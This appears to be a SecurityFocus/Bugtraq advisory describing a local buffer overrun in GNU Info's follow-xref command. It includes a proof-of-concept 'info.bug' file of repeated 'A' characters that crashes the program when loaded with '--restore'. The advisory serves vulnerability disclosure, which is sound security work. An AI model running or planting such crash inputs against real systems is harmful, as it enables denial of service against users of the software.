GNU Info Follow XRef Buffer Overrun Vulnerability

Bugtraq ID:	10882
Class:	Boundary Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Aug 06 2004 12:00AM
Updated:	Aug 06 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to Josh Martin <[email protected]>.
Vulnerable:	GNU Info 4.7 -2.1
Not Vulnerable:

GNU Info Follow XRef Buffer Overrun Vulnerability

GNU Info is reported prone to a buffer overrun vulnerability. The vulnerability is reported to present itself due to a lack of boundary checks performed on argument data for the (f) follow xref Info command.

An attacker may exploit this vulnerability by crafting a malicious Info script that is sufficient to trigger the issue.

Although this vulnerability is reported to affect info version 4.7-2.1, other versions might also be affected.

GNU Info Follow XRef Buffer Overrun Vulnerability

The following proof of concept is available:
The following can be saved to a file and called as:
info info --restore=info.bug to create a segmentation fault.

[START info.bug]
gExpert Info

fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[END info.bug]

Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

GNU Info Follow XRef Buffer Overrun Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

GNU Info Follow XRef Buffer Overrun Vulnerability

References:

• GNU Homepage (GNU)
  
• GNU/Linux 'info Buffer Overflow (Josh Martin )
  
• Re: GNU/Linux 'info Buffer Overflow (Roman Werpachowski )